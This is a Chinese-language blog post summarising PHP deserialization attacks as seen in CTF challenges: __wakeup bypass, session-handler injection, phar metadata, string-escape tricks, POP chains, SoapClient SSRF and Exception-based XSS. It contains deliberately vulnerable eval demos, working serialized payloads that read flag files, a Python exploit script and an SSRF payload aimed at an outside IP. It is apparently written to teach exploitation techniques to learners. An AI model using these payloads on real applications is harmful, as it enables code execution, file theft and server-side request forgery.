反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下

<!-- more -->

简单介绍

(反)序列化只是给我们传递对象提供了一种简单的方法。

serialize()unserialize()

在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害

因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点

在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已

漏洞成因即利用思路

才疏学浅,若有错误,多加包涵

Magic function

Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩

__construct()__destruct()__wakeup()__wakeup()__wakeup()__toString()__sleep()

利用方式

__wakeup()

对应的CVE编号:CVE-2016-7124

__wakeup

demo

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
   var $warn = "No hacker.";
   function __destruct(){
       eval($this->warn);
  }
   function __wakeup(){
       foreach(get_object_vars($this) as $k => $v) {
           $this->$k = null;
      }
  }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
__wakeupunserialize
__wakeup__destruct()
unserialize__wakeup__destruct()__wakeup

怎么绕过?

__wakeup
<?php

class convent{
   var $warn = "phpinfo();";
   function __destruct(){
       
  }  
}
$a = new convent();
$b = serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>

然后更改变量数即可

O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

1.png

存在多个魔法方法时,要弄清哪个魔法方法的优先级高

PHP session反序列化

这在我之前一篇文章其实已经介绍得差不多了

  • 漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞

demo

在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
   public $mdzz;
   function __construct()
  {
       $this->mdzz = 'phpinfo();';
  }

   function __destruct()
  {
       eval($this->mdzz);
  }
}
if(isset($_GET['phpinfo']))
{
   $m = new OowoO();
}
else
{
   highlight_string(file_get_contents('index.php'));
}
?>
ini_set('session.serialize_handler', 'php')

看一下phpinfo

2.png

local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize

这就很明显存在session反序列化漏洞了

3.png

POSTINIsession.upload_progress.namePHPPOST$_SESSIONsession.upload_progress.prefixsession.upload_progress.nameSession Upload Progresssession

允许上传且结束后不清除数据,这样更有利于利用

我们在html网页源码上加入以下代码

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
   <input type="file" name="file" />
   <input type="submit" />
</form>

4.png

接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
   public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>

5.png

\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
filenameINIsession.upload_progress.name

6.png

这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录

7.png

print_r
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

8.png

phar 反序列化

pharpharphpphp
  • 前提条件

php.ini中设置为phar.readonly=Off
php version>=5.3.0
pharmeta-datafile_exists()is_dir()phar://pharunserialize()

demo

pharphpPhar
<?php
   class User{
       var $name;
       function __destruct(){
           echo "Blackwatch";
      }
  }

   @unlink("test.phar");
   $phar = new Phar("test.phar");//后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
   $o = new User();
   $o->name = "test";
   $phar->setMetadata($o);//将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
    //签名自动计算
   $phar->stopBuffering();
?>
manifestmeta-data

10.png

unserialize()

phar反序列化可以利用的函数

9.png

phar文件伪造
stub__HALT_COMPILER();?>
:/phar
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
  • 例题:SWPUCTF2018 SimplePHP

bypass phar:// 不能出现在首部
compress.zlib://compress.bzip2://compress.zlib://compress.bzip2://phar://
  • payload

compress.zlib://phar://phar.phar/test.txt
  • 例题:巅峰极客 2020 babyphp2

字符逃逸

;}
  • 漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸

字符串变多

  • [0CTF 2016]piapiapia

扫描目录发现有泄露,下载后用Seay源码审计一下

11.png

而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路

file_get_contents()photophoto

12.png

  • update.php

13.png

  • class.php

14.png

我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化

15.png

我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”

这就是反序列化长度变化尾部字符串逃逸

16.png

";}s:5:"photo";s:10:"config.php";}
";}s:5:"photo";s:10:"config.php";}

where(5)会替换成hacker(6),长度加1,所以我们要构造34个where

";}s:5:"photo";s:10:"config.php";}

使用数组绕过nickname长度限制

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

17.png

/profile.php

字符串变少

也有师傅称之为对象逃逸

俺没对象所以不用这个名称

原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果

直接看题

  • [安洵杯 2019]easy_serialize_php

源码如下

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
d0g3_f1ag.php
$_SESSIONuser, funciton, img

img的值我们是控制不了的,进而无法读取到目标文件

serialize
extract($_POST)

所以我们可以在这上面做文章

这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

但是因为过滤的原因,会变成这样

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
";s:8:"function";s:59:"a
";s:8:"function";s:59:"a

因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点

";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果

所以payload为

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
d0g3_f1ag.php

Pop chain

严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题

在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改

pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路

SoapClient

php.ini;extension soap
__call

exp

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
  • LCTF 2018 bestphp's revenge

exp

import requests
import re
url = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data) # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

Exception

与SoapClient一样,是属于PHP原生类

ErrorExceptiontoString
<?php
$s = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($s));
?>

18.png

19.png

总结

除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路